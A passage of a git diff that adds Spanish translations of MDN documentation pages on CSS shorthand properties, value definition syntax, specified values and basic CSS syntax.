+<pre class="brush:css">background-color: #000;
+background-image: url(images/bg.gif);
+background-repeat: no-repeat;
+background-position: top right;</pre>
+
+<p>... puede acortarse con una sola declaración:</p>
+
+<pre class="brush:css">background: #000 url(images/bg.gif) no-repeat top right;</pre>
+
+<p>(La forma abreviada es realmente equivalente a las propiedades a mano anteriores más <code>background-attachment: scroll</code> y, en CSS3, a algunas propiedades adicionales.)</p>
+
+<h2 id="Font_Properties" name="Font_Properties">Propiedades Font</h2>
+
+<p>Las siguientes declaraciones:</p>
+
+<pre class="brush:css">font-style: italic;
+font-weight: bold;
+font-size: .8em;
+line-height: 1.2;
+font-family: Arial, sans-serif;</pre>
+
+<p>... pueden ser abreviadas como sigue:</p>
+
+<pre class="brush:css">font: italic bold .8em/1.2 Arial, sans-serif;</pre>
+
+<p>Esta declaración abreviada es realmente equivalente a las declaraciones a mano anteriores así como también a <code>font-variant: normal</code> y <code>font-size-adjust: none</code> (CSS2.0 / CSS3), <code>font-stretch: normal</code> (CSS3).</p>
+
+<h2 id="Border_Properties" name="Border_Properties">Propiedades Border</h2>
+
+<p>Con los bordes, el ancho, color y estílo pueden ser simplificados en una declaración. Por ejemplo,</p>
+
+<pre class="brush:css">border-width: 1px;
+border-style: solid;
+border-color: #000;</pre>
+
+<p>... puede ser simplificada como</p>
+
+<pre class="brush:css">border: 1px solid #000;</pre>
+
+<h2 id="Margin_and_Padding_Properties" name="Margin_and_Padding_Properties">Propiedades Margin y Padding</h2>
+
+<p>Versiones abreviadas de <code>margin</code> y <code>padding</code> funcionan de la misma forma. Las siguientes declaraciones CSS:</p>
+
+<pre class="brush:css">margin-top: 10px;
+margin-right: 5px;
+margin-bottom: 10px;
+margin-left: 5px;</pre>
+
+<p>son la misma a la declaración siguiente (note que los valores estan en el sentido de las manecillas del reloj desde arriba: arriba, derecha, abajo e izquierda (TRBL, las consonantes en "trouble", peligro en inglés)). (Norte, Este, Sur, Oeste)</p>
+
+<pre class="brush:css">margin: 10px 5px 10px 5px;</pre>
+
+<h2 id="The_universal_shorthand_property" name="The_universal_shorthand_property">La propiedad abreviada universal</h2>
+
+<p>CSS provee una propiedad abreviada universal, {{cssxref("all")}}, que aplica su valor a toda propiedad en el documento. Su propósito es cambiar el modelo de herencia de las propiedades a uno de los siguientes:</p>
+
+<p>{{page("/en-US/docs/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance", "Controlling_inheritance")}}</p>
+
+<p>Ver <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance">Cascade and inheritance</a> o <a href="/en-US/docs/Web/CSS/Cascade">Introducing the CSS Cascade</a> para más información acerca de como trabaja la herencia en CSS.</p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/CSS_Reference" title="CSS Reference">CSS Reference</a></li>
+ <li>{{css_key_concepts}}</li>
+ <li>Shorthand properties: {{cssxref("background")}}, {{cssxref("font")}}, {{cssxref("margin")}}, {{cssxref("border")}}, {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}}, {{cssxref("border-left")}}, {{cssxref("border-width")}}, {{cssxref("border-color")}}, {{cssxref("border-style")}}, {{cssxref("transition")}}, {{cssxref("animation")}}, {{cssxref("transform")}}, {{cssxref("padding")}}, {{cssxref("list-style")}}, {{cssxref("border-radius")}}, {{cssxref("flex")}}.</li>
+</ul>
diff --git a/files/es/web/css/sintaxis_definición_de_valor/index.html b/files/es/web/css/sintaxis_definición_de_valor/index.html
new file mode 100644
index 0000000000..90d5ea8b75
--- /dev/null
+++ b/files/es/web/css/sintaxis_definición_de_valor/index.html
@@ -0,0 +1,402 @@
+---
+title: Sintaxis de definición de valor
+slug: Web/CSS/Sintaxis_definición_de_valor
+translation_of: Web/CSS/Value_definition_syntax
+---
+<p>{{CSSRef()}}</p>
+
+<p><span class="seoSummary"><strong>La sintaxis de definición de valores CSS</strong>, una gramática formal, se utiliza para definir el conjunto de valores válidos para una propiedad o función CSS. Además de esta sintaxis, el conjunto de valores válidos puede restringirse aún más mediante restricciones semánticas (por ejemplo, para que un número sea estrictamente positivo).</span></p>
+
+<p class="summary">La sintaxis de definición describe qué valores están permitidos y las interacciones entre ellos. Un componente puede ser una <em>palabra clave</em>, algunos caracteres <em>literales</em>, ó un valor de tipo de dato de CSS o propiedad CSS.</p>
+
+<h2 id="Tipos_de_valor_de_los_componentes">Tipos de valor de los componentes</h2>
+
+<h3 id="Palabras_clave">Palabras clave</h3>
+
+<h4 id="Palabras_clave_genéricas">Palabras clave genéricas</h4>
+
+<p>Una palabra clave con significado predefinido aparece literalmente, sin comillas, por ejemplo: <code>auto</code>, <code>smaller</code> or <code>ease-in</code>.</p>
+
+<h4 id="El_caso_específico_de_inherit_e_initial">El caso específico de <code>inherit</code> e <code>initial</code></h4>
+
+<p>Todas las propiedades CSS aceptan las palabras clave <code>inherit</code> e <code>initial</code> que son definidas vía CSS. Estas no son mostradas en la definición del valor y están implícitamente definidas.</p>
+
+<h3 id="Literales">Literales</h3>
+
+<p>En CSS, unos pocos caracteres pueden aparecer por su cuenta, como la barra ('<code>/</code>') o la coma ('<code>,</code>'), y son usadas en una propiedad o definición para separar sus partes. La coma es a menudo usada para separar valores en enumeraciones, o parámetros en funciones de tipo matemático; la barra a menudo separa partes de el valor que es semánticamente diferente, pero que tiene una sintaxis común. Típicamente, la barra es usada a veces en propiedades abreviadas para separar componentes que son del mismo tipo, pero pertenecen a diferentes propiedades.</p>
+
+<p>Ambos símbolos aparecen literalmente en una definición de valor.</p>
+
+<h3 id="Tipos_de_dato">Tipos de dato</h3>
+
+<h4 id="Tipos_de_dato_básicos">Tipos de dato básicos</h4>
+
+<p>Un tipo de dato usado vía CSS es definido una sola vez para todos los valores en la especificación. Se llaman <em>tipos de datos básicos, </em>estan representados por su nombre rodeados del símbolo '<code>&lt;</code>' y '<code>&gt;</code>': {{ cssxref("&lt;angle&gt;") }}, {{cssxref("&lt;string&gt;")}}, …</p>
+
+<h4 id="Tipos_de_dato_no_terminales">Tipos de dato no terminales</h4>
+
+<p>Tipos de dato poco comunes, llamados <em>tipos de datos no terminales</em>, están también rodeados por  '<code>&lt;</code>' y '<code>&gt;</code>'.</p>
+
+<p>Los tipos de dato no terminales son de dos tipos::</p>
+
+<ul>
+ <li>tipos de datos <em>que comparten el mismo nombre de propiedad</em>, colocados entre comillas . En este caso el tipo de dato comparte el mismo conjunto de valores de la propiedad. A menudo son usados en la definición de propiedades abreviadas.</li>
+ <li>tipos de datos <em>que no comparten el mismo nombre de la propiedad</em>. Estos tipos de datos son muy cercanos a sus tipos de datos básicos. Ellos solo difieren de los tipos de datos básicos en la ubicación física de su definición: en este caso la definición es usualmente físicamente muy cercana a la definición de la propiedad que la esta usando.</li>
+</ul>
+
+<h2 id="Combinadores_de_los_valores_de_componentes">Combinadores de los valores de componentes</h2>
+
+<h3 id="Corchetes">Corchetes</h3>
+
+<p><em>Corchetes </em>encierran varias entidades, combinadores, y multiplicadores, luego los transforman en un solo componente. Son usados para <strong>agrupar componentes para sobreescribir las reglas de precedencia.</strong></p>
+
+<pre class="syntaxbox"><code>bold [ thin &amp;&amp; &lt;length&gt; ]</code></pre>
+
+<p>El ejemplo empareja con los siguientes valores:</p>
+
+<ul>
+ <li><code>bold thin 2vh</code></li>
+ <li><code>bold 0 thin</code></li>
+ <li><code>bold thin 3.5em</code></li>
+</ul>
+
+<p>Pero no con:</p>
+
+<ul>
+ <li><code>thin bold 3em</code>,  porque <code>bold</code> esta yuxtapuesto con el componente definido por los corchetes, debe aparecer antes de él.</li>
+</ul>
+
+<h3 id="Yuxtaposición">Yuxtaposición</h3>
+
+<p>Colocar varias palabras clave, literales, o tipos de datos, uno al lado del otro, solo separados por uno o varios espacios se llama <em>yuxtaponer. </em>Todos los componentes yuxtapuestos son <strong>obligatorios y deben aparecer en ese orden exacto.</strong></p>
+
+<pre class="syntaxbox">bold &lt;length&gt; , thin
+</pre>
+
+<p>El ejemplo empareja con los siguientes valores:</p>
+
+<ul>
+ <li><code>bold 1em, thin</code></li>
+ <li><code>bold 0, thin</code></li>
+ <li><code>bold 2.5cm, thin</code></li>
+ <li><code>bold 3vh, thin</code></li>
+</ul>
+
+<p>Pero no con:</p>
+
+<ul>
+ <li><code>thin 1em, bold</code> porque las entidades deben aparecer en el orden expresado</li>
+ <li><code>bold 1em thin</code> porque las entidades son obligatorias; la coma que es un literal debe estar presente</li>
+ <li><code>bold 0.5ms, thin</code> porque los valores <code>ms</code> no son de tipo {{cssxref("&lt;length&gt;")}}</li>
+</ul>
+
+<h3 id="Doble_ampersand">Doble ampersand</h3>
+
+<p>Separar dos o mas componentes por un <em>doble ampersand</em>, <code>&amp;&amp;</code>, significa que todas esas entidades son <strong>obligatorias pero pueden aparecer en cualquier orden.</strong></p>
+
+<pre class="syntaxbox">bold &amp;&amp; &lt;length&gt;
+</pre>
+
+<p>El ejemplo empareja con los siguientes valores:</p>
+
+<ul>
+ <li><code>bold 1em</code></li>
+ <li><code>bold 0</code></li>
+ <li><code>2.5cm bold</code></li>
+ <li><code>3vh bold</code></li>
+</ul>
+
+<p>Pero no con:</p>
+
+<ul>
+ <li><code>bold</code> porque ambos componentes deben aparecer en el valor</li>
+ <li><code>bold 1em bold</code> porque ambos componentes deben aparecer solo una vez</li>
+</ul>
+
+<div class="note"><strong>Nota:</strong> yuxtaposición tiene precedencia sobre el doble ampersand, esto quiere decir que <code>bold thin &amp;&amp; &lt;length&gt;</code> es equivalente a <code>[ </code><code>bold thin ] &amp;&amp; &lt;length&gt;</code>. Que describe a <code>bold thin &lt;length&gt;</code> ó <code>&lt;length&gt;</code><code> bold thin</code> pero no a  <code>bold &lt;length&gt;</code><code> thin</code>.</div>
+
+<h3 id="Barra_doble">Barra doble</h3>
+
+<p>Separar dos o mas componentes por una <em>barra doble</em>, <code>||</code>, significa que todas las entidades son opcionales: <strong>al menos una debe estar presente, y pueden aparecer en cualquier orden. </strong>Típicamente ésto es usado para definir los diferentes valores de una <a href="/en-US/docs/CSS/Shorthand_properties" title="/en-US/docs/CSS/Shorthand_properties">propiedad abreviada</a>.</p>
+
+<pre class="syntaxbox">&lt;'border-width'&gt; || &lt;'border-style'&gt; || &lt;'border-color'&gt;
+</pre>
+
+<p>El ejemplo empareja con los siguientes valores:</p>
+
+<ul>
+ <li><code>1em solid blue</code></li>
+ <li><code>blue 1em</code></li>
+ <li><code>solid 1px yellow</code></li>
+</ul>
+
+<p>Pero no con:</p>
+
+<ul>
+ <li><code>blue yellow</code> porque un componente debe aparecer al menos una vez.</li>
+ <li><code>bold</code>  porque no es una palabra clave permitida como valor de ninguna de las entidades.</li>
+</ul>
+
+<div class="note"><strong>Nota:</strong> el doble ampersand tiene precedencia sobre la barra doble, que significa que <code>bold || thin &amp;&amp; &lt;length&gt;</code> es equivalente a <code>bold || [ thin &amp;&amp; &lt;length&gt; ]</code>. Describe a <code>bold</code>, <code>thin</code>, <code>&lt;length&gt;</code>, <code>bold thin</code>, <code>&lt;length&gt; bold</code>, o <code>thin &lt;length&gt; bold</code> pero no <code>bold &lt;length&gt;</code><code> bold thin</code> porque bold, si no es omitido debe colocarse antes o después de el componente<code> thin &amp;&amp; &lt;length&gt;</code></div>
+
+<h3 id="Barra_simple">Barra simple</h3>
+
+<p>Separar dos o mas componentes con <em>una barra simple</em>, <code>|</code>, quiere decir que todas las entidades son opciones exclusivas: <strong>exactamente una de estas opciones debe estar presente. </strong>Esto es tipicamente usado para separar una lista de posibles palabras clave.</p>
+
+<pre class="syntaxbox">&lt;percentage&gt; | &lt;length&gt; | left | center | right | top | bottom</pre>
+
+<p>El ejemplo empareja con los siguientes valores:</p>
+
+<ul>
+ <li><code>3%</code></li>
+ <li><code>0</code></li>
+ <li><code>3.5em</code></li>
+ <li><code>left</code></li>
+ <li><code>center</code></li>
+ <li><code>right</code></li>
+ <li><code>top</code></li>
+ <li><code>bottom</code></li>
+</ul>
+
+<p>Pero no</p>
+
+<ul>
+ <li><code>center 3%</code> porque solo uno de los componentes debe estar presente</li>
+ <li><code>3em 4.5em</code> porque un componente debe estar presente máximo una vez.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note:</strong> la barra doble tiene precedencia sobre la barra simple, quiere decir que <code>bold | thin || &lt;length&gt;</code> es equivalente a <code>bold | [ thin || &lt;length&gt; ]</code>. Describe <code>bold</code>, <code>thin</code>, <code>&lt;length&gt;</code>, <code>&lt;length&gt; thin</code>, o <code>thin &lt;length&gt; </code>pero no <code>bold &lt;length&gt;</code><code> </code>porque solo una entidad de cada lado del combinador <code>|</code> puede estar presente.</p>
+</div>
+
+<h2 id="Multiplicadores_de_valores_de_componentes">Multiplicadores de valores de componentes</h2>
+
+<p>Un multiplicador es un símbolo que indica cuantas veces una entidad precedente puede ser repetida. Sin un multiplicador, una entidad debe aparecer exactamente una vez.</p>
+
+<p>Note que los multiplicadores no pueden sumarse y tienen precedencia sobre los combinadores.</p>
+
+<h3 id="Asterisco_(*)">Asterisco (<code>*</code>)</h3>
+
+<p>El <em>multiplicador asterisco </em>indica que la entidad puede aparecer <strong>cero, una o varias veces.</strong></p>
+
+<pre class="syntaxbox"><code>bold smaller*</code></pre>
+
+<p>El ejemplo empareja con los siguientes valores:</p>
+
+<ul>
+ <li><code>bold</code></li>
+ <li><code>bold smaller</code></li>
+ <li><code>bold smaller smaller</code></li>
+ <li><code>bold smaller smaller smaller</code> y así sucesivamente</li>
+</ul>
+
+<p>Pero no:</p>
+
+<ul>
+ <li><code>smaller</code> porque <code>bold</code> esta yuxtapuesto y debe aparecer antes de la palabra clave <code>smaller</code></li>
+</ul>
+
+<h3 id="Suma_()">Suma (<code>+</code>)</h3>
+
+<p>El <em>multiplicador suma </em>indica que la entidad puede aparecer <strong>una o varias veces.</strong></p>
+
+<pre class="syntaxbox"><code>bold smaller+</code></pre>
+
+<p>El ejemplo empareja con los siguientes valores:</p>
+
+<ul>
+ <li><code>bold smaller</code></li>
+ <li><code>bold smaller smaller</code></li>
+ <li><code>bold smaller smaller smaller</code> y sucesivamente</li>
+</ul>
+
+<p>Pero no:</p>
+
+<ul>
+ <li><code>bold</code> porque <code>smaller</code> debe aparecer al menos una vez</li>
+ <li><code>smaller</code> porque <code>bold</code> esta yuxtapuesto y debe aparecer antes de cualquier palabra clave <code>smaller</code></li>
+</ul>
+
+<h3 id="Pregunta_()">Pregunta (<code>?</code>)</h3>
+
+<p>El <em>multiplicador pregunta </em>indica que la entidad es opcional y <strong>debe aparecer cero o una vez</strong></p>
+
+<pre class="syntaxbox"><code>bold smaller?</code></pre>
+
+<p>El ejemplo empareja con los siguientes valores:</p>
+
+<ul>
+ <li><code>bold</code></li>
+ <li><code>bold smaller</code></li>
+</ul>
+
+<p>Pero no:</p>
+
+<ul>
+ <li><code>bold smaller smaller</code> porque <code>smaller</code> debe aparecer como máximo una vez</li>
+ <li><code>smaller bold</code> porque <code>bold</code> esta yuxtapuesto y debe aparecer antes de cualquier palabra clave <code>smaller</code></li>
+</ul>
+
+<h3 id="Llaves_(_)">Llaves (<code>{ }</code>)</h3>
+
+<p>El <em>multiplicador llaves, </em>encierra a dos enteros A y B separados  por una coma, indica que la entidad <strong>debe aparecer al menos A veces y como mas B veces</strong></p>
+
+<pre class="syntaxbox"><code>bold smaller{1,3}</code></pre>
+
+<p>El ejemplo empareja con los siguientes valores:</p>
+
+<ul>
+ <li><code>bold smaller</code></li>
+ <li><code>bold smaller smaller</code></li>
+ <li><code>bold smaller smaller smaller</code></li>
+</ul>
+
+<p>Pero no:</p>
+
+<ul>
+ <li><code>bold</code> porque <code>smaller</code> debe aparecer al menos una vez</li>
+ <li><code>bold smaller smaller smaller smaller</code> porque <code>smaller</code> debe aparecer un máximo de tres veces.</li>
+ <li><code>smaller bold</code> porque <code>bold</code> esta yuxtapuesto u debe aparecer antes de cualquier palabra clave <code>smaller</code></li>
+</ul>
+
+<h3 id="Hash_()">Hash (<code>#</code>)</h3>
+
+<p>El <em>multiplicador hash</em> indica que la entidad puede repetirse <strong>una o mas veces </strong>(como con el multiplicador de suma) pero cada ocurrencia se <strong>separa por una coma</strong> ('<code>,</code>').</p>
+
+<pre class="syntaxbox"><code>bold smaller#</code></pre>
+
+<p>El ejemplo empareja con los siguientes valores:</p>
+
+<ul>
+ <li><code>bold smaller</code></li>
+ <li><code>bold smaller, smaller</code></li>
+ <li><code>bold smaller, smaller, smaller</code> y así sucesivamente</li>
+</ul>
+
+<p>Pero no:</p>
+
+<ul>
+ <li><code>bold</code> porque <code>smaller</code> debe aparecer al menos una vez</li>
+ <li><code>bold smaller smaller smaller</code> porque las diferentes ocurrencias de <code>smaller</code> deben estar separadas por comas</li>
+ <li><code>smaller</code> porque <code>bold</code> esta yuxtapuesto y debe aparecer antes de cualquier palabra clave <code>smaller</code></li>
+</ul>
+
+<h2 id="Sumario">Sumario</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Símbolo</th>
+   <th scope="col">Nombre</th>
+   <th scope="col">Descripción</th>
+   <th scope="col">Ejemplo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4">Combinadores</th>
+  </tr>
+  <tr>
+   <td> </td>
+   <td>Yuxtaposición</td>
+   <td>Componentes obligatorios que deben aparecer en el mismo orden</td>
+   <td><code>solid &lt;length&gt;</code></td>
+  </tr>
+  <tr>
+   <td><code>&amp;&amp;</code></td>
+   <td>Doble ampersand</td>
+   <td>Componentes obligatorios pero que pueden aparecer en cualquier orden</td>
+   <td><code>length&gt; &amp;&amp; &lt;string&gt;</code></td>
+  </tr>
+  <tr>
+   <td><code>||</code></td>
+   <td>Barra doble</td>
+   <td>Al menos uno de los componentes debe estar presente, y pueden aparecer en cualquier orden</td>
+   <td><code>&lt;'border-image-outset'&gt; || &lt;'border-image-slice'&gt;</code></td>
+  </tr>
+  <tr>
+   <td><code>|</code></td>
+   <td>Barra simple</td>
+   <td>Exactamente uno de los componentes debe estar presente</td>
+   <td><code>smaller | small | normal | big | bigger</code></td>
+  </tr>
+  <tr>
+   <td><code>[ ]</code></td>
+   <td>Corchetes</td>
+   <td>Agrupa componentes para sobreescribir las reglas de precedencia</td>
+   <td><code>bold [ thin &amp;&amp; &lt;length&gt; ]</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Multiplicadores</th>
+  </tr>
+  <tr>
+   <td> </td>
+   <td>Sin multiplicador</td>
+   <td>Exactamente 1 vez</td>
+   <td><code>solid</code></td>
+  </tr>
+  <tr>
+   <td><code>*</code></td>
+   <td>Asterisco</td>
+   <td>0 or more times</td>
+   <td><code>bold smaller*</code></td>
+  </tr>
+  <tr>
+   <td><code>+</code></td>
+   <td>Suma</td>
+   <td>1 o mas veces</td>
+   <td><code>bold smaller+</code></td>
+  </tr>
+  <tr>
+   <td><code>?</code></td>
+   <td>Pregunta</td>
+   <td>0 o 1 vez (es <em>opcional)</em></td>
+   <td><code>bold smaller?</code></td>
+  </tr>
+  <tr>
+   <td><code>{A,B}</code></td>
+   <td>Llaves</td>
+   <td>Al menos <code>A</code> veces, como mas <code>B</code> veces</td>
+   <td><code>bold smaller{1,3}</code></td>
+  </tr>
+  <tr>
+   <td><code>#</code></td>
+   <td>Hash</td>
+   <td>1 o mas veces, pero cada ocurrencia separada por una coma ('<code>,</code>')</td>
+   <td><code>bold smaller#</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Values', '#value-defs', 'Value definition syntax') }}</td>
+   <td>{{ Spec2('CSS3 Values') }}</td>
+   <td>Desde {{ SpecName('CSS2.1', 'about.html#value-defs', 'Value definition syntax') }}, añade el multiplicador hash</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'about.html#value-defs', 'Value definition syntax') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Desde {{ SpecName('CSS1', '#notation-for-property-values', 'Value definition syntax') }}, añade el combinador doble ampersand</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#notation-for-property-values', 'Value definition syntax') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{ CSS_key_concepts() }}</li>
+</ul>
diff --git a/files/es/web/css/specified_value/index.html b/files/es/web/css/specified_value/index.html
new file mode 100644
index 0000000000..a13d57f4e1
--- /dev/null
+++ b/files/es/web/css/specified_value/index.html
@@ -0,0 +1,43 @@
+---
+title: Valor especificado
+slug: Web/CSS/specified_value
+tags:
+  - CSS
+  - Referencia CSS
+translation_of: Web/CSS/specified_value
+---
+<p>{{CSSRef}}</p>
+
+<p>El <strong>valor especificado</strong> (<strong>specified value</strong>) de una propiedad CSS es establecido de una de las siguientes maneras:</p>
+
+<ol>
+ <li>Si la hoja de estilos del documento tiene un valor especificado para la propiedad, éste será usado. Por ejemplo, si la propiedad {{cssxref("color")}} es establecida con valor <code>green</code>, el color del texto del elemento que corresponda será verde.</li>
+ <li>Si la hoja de estilos del documento no tiene un valor especificado para la propiedad, se heredará del elemento padre (si es posible). Por ejemplo, si tenemos un párrafo ({{HTMLElement("p")}}) dentro de un {{HTMLElement("div")}}, y el {{HTMLElement("div")}} tiene el valor de su propiedad <code>font</code> como "Arial", y el {{HTMLElement("p")}} no tiene definida la propiedad <code>font</code>, se heredará la fuente Arial.</li>
+ <li>Si ninguna de las anteriores está disponible, se aplica el valor inicial del elemento segun la especificación CSS.</li>
+</ol>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.1", "cascade.html#specified-value", "cascaded value")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/Referencia_CSS">Referencia CSS</a></li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/es/web/css/syntax/index.html b/files/es/web/css/syntax/index.html
new file mode 100644
index 0000000000..25ff30fa71
--- /dev/null
+++ b/files/es/web/css/syntax/index.html
@@ -0,0 +1,81 @@
+---
+title: Sintaxis
+slug: Web/CSS/Syntax
+tags:
+  - CSS
+  - Guía
+  - Principiante
+  - Web
+translation_of: Web/CSS/Syntax
+---
+<div>{{cssref}}</div>
+
+<p>La meta básica del lenguaje Cascading Stylesheet (CSS) es permitir al motor del navegador pintar elementos de la página con características específicas, como colores, posición o decoración. La sintaxis CSS refleja estas metas y estos son los bloques básicos de construcción.</p>
+
+<ul>
+ <li>La <strong>propiedad</strong> que es un identificador, un <em>nombre</em> leíble por humanos, que define qué característica es considerada.</li>
+ <li>
+  <p>El <strong>valor</strong> que describe como las características deben ser manejadas por el motor. Cada propiedad tiene un conjunto de valores válidos, definido por una gramática formal, así como un significado semántico, implementados por el motor del navegador.</p>
+ </li>
+</ul>
+
+<h2 id="Declaraciones_de_CSS">Declaraciones de CSS</h2>
+
+<p>Configurando propiedades CSS a valores específicos es la función principal del lenguaje del CSS. Una propiedad y su valor son llamados una d<strong>eclaración</strong>, y cualquier motor de CSS calcula qué declaraciones aplican a cada uno de los elementos de una página para mostralos apropiadamente y estilizarlos.</p>
+
+<p>Ambos propiedades y valores son sensibles a mayúculas y minúsculas en CSS. El par se separa por dos puntos, '<code>:</code>' (<code>U+003A COLON</code>), y los espacios en blanco antes, entre ellos y después, pero no necesariamente dentro de ellos, son ignorados.</p>
+
+<p><img alt="css syntax - declaration.png" class="default internal" src="/@api/deki/files/6164/=css_syntax_-_declaration.png" style="border: 1px solid black; padding: 1em;"></p>
+
+<p>Hay más de <a href="/en/CSS/CSS_Reference" title="en/CSS/CSS_Reference">100 propiedades diferentes</a> en CSS y cerca de un número infinito de diferentes valores. No todos los pares de propiedades y valores son permitidos cada propiedad define que valores son válidos. Cuando un valor no es válido para una propiedad específica, la declaración es considerada <em>inválida</em> y es completamente ingorada por el motor del CSS.</p>
+
+<h2 id="Bloques_de_declaraciones_en_CSS">Bloques de declaraciones en CSS</h2>
+
+<p>Las declaraciones son agrupada en <strong>bloques</strong>, que es una estructura delimitada por una llave de apertura, '<code>{</code>' (<code>U+007B LEFT CURLY BRACKET</code>), y una de cierre, '<code>}</code>' (<code>U+007D RIGHT CURLY BRACKET</code>). Los bloques en ocasiones puedes anidarse, por lo que las llaves de apertura y cierre deben de coindidir.</p>
+
+<p><img alt="css syntax - block.png" class="default internal" src="/@api/deki/files/6165/=css_syntax_-_block.png" style="border: 1px solid black; padding: 1em;"></p>
+
+<p>Esos bloques son naturalmente llamados <strong>bloques de declaraciones</strong> y las declaraciones dentro de ellos están separadas por un punto y coma, '<code>;</code>' (<code>U+003B SEMICOLON</code>). Un bloque de declaración puede estar vacío, que es contener una declaración nula. Los espacios en blanco alrededor de las declaraciones son ignorados. En cuanto a la última declaración de un bloque, esta no necesita terminar en un punto y coma, aunque es usualmente considerado una <em>buena práctica</em> porque previene el olvidar agregarlo cuando se extienda el bloque con otra declaración.</p>
+
+<p><img alt="css syntax - declarations block.png" class="default internal" src="/@api/deki/files/6166/=css_syntax_-_declarations_block.png" style="border: 1px solid black; padding: 1em;"></p>
+
+<div class="note">El contenido de un bloque de declaración CSS, que es una lista de declaraciones separadas por un punto y coma, sin las llaves de apertura y cierre, pueden ser colocadas dentro del atributo  <code><a href="/en/HTML/Global_attributes#attr-style" title="https://developer.mozilla.org/en/HTML/Global_attributes#attr-style">style</a> de HTML</code>.</div>
+
+<h2 id="Sets_de_reglas_CSS">Sets de reglas CSS</h2>
+
+<p>Si cada hoja de estilos pudiera aplicar una sól declaración a cada elemento de una página web, sería algo inútil. El verdadero objetivo es aplicar varias declaraciones a distintas partes del documento.</p>
+
+<p>CSS permite esto asociando condiciones con bloques de declaraciones. Cada declaración (válida) es precedida por un <em>selector</em>, es decir, una condición que selecciona algunos elementos de la página. El bloque que forma el par selector-declaraciones recibe el nombre de <strong>set de reglas</strong>, o simplemente una <strong>regla</strong>.</p>
+
+<p><img alt="css syntax - ruleset.png" class="default internal" src="/@api/deki/files/6167/=css_syntax_-_ruleset.png" style="border: 1px solid black; padding: 1em;"></p>
+
+<p>Debido a que un elemento de la página puede ser seleccionado por varios selectores, y, por lo tanto, por varias reglas que pueden contener la misma propiedad más de una vez, con diferentes valores, el estandar CSS define cuál regla tiene precedencia por sobre las otras y debe ser aplicada: esto se conoce como el algoritmo <a href="/en/CSS/Getting_Started/Cascading_and_inheritance" title="Cascading and inheritance">cascada</a>.</p>
+
+<div class="note">Es importante resaltar que si un set de reglas formado por un grupo de selectores es un atajo que reemplaza varios sets de reglas con un solo selector cada una, esto no aplica a la validez del set de reglas en sí.<br>
+<br>
+Esto tiene una consecuencia importante: si algún selector básico es inválido, como cuando se usa un pseudo-elemento o pseudo-clase inválida, el <em>selector </em>entero es inválido y, por lo tanto, el set de reglas completo es ignorado (por ser inválido también).</div>
+
+<h2 id="Declaraciones_CSS">Declaraciones CSS</h2>
+
+<p>Los sets de reglas son los bloques principales de una hoja de estilos, que generalmente consiste en una larga lista de ellos. Pero existe otro tipo de innformación que el autor web puede transmitir en la hoja de estilos, como el set de caracteres, otra hoja de estilos a importar, font face o listar descripciones de contador, entre otros. Se usarán tipos de declaracionnes específicas para esto mismo.</p>
+
+<p>Una <strong>declaración </strong>es un bloque que empieza con un caracter (no espacio) y termina con la primer llave de cierre o punto y coma (fuera de una cadena, sin escape y no incluñido dentro de otro par de {}. () o []).</p>
+
+<p><img alt="css syntax - statements Venn diag.png" class="default internal" src="/@api/deki/files/6168/=css_syntax_-_statements_Venn_diag.png" style="padding: 1em;"></p>
+
+<p>Existen dos tipos de declaraciones:</p>
+
+<ul>
+ <li><strong>Sets de reglas </strong>(o <em>reglas</em>) que, como lo visto, asocian una colección de declaraciones CSS a una condición descrita como selector.</li>
+ <li><strong>Reglas At</strong> que inician con un símbolo '<code>@</code>' (<code>U+0040 COMMERCIAL AT</code>), seguido de un identificados y luego el resto de la declaración que finaliza con un punto y coma (;) por fuera de un bloque o al inicio del próximo bloque. Cada tipo de <a href="/en/CSS/At-rule" title="At-rule">reglas at</a>, definidas por un identificador, tienen su propia sintaxis interna, y semántica por supuesto. Se utilizan para establecer información de meta datos (como {{ cssxref("@charset") }} o {{ cssxref("@import") }}), información condicional (como {{ cssxref("@media") }} o {{ cssxref("@document") }}), o información descrciptiva (como {{ cssxref("@font-face") }}).</li>
+</ul>
+
+<p>Toda declaración que no es un set de reglas ni una regla at es considerada inválida e ignorada.</p>
+
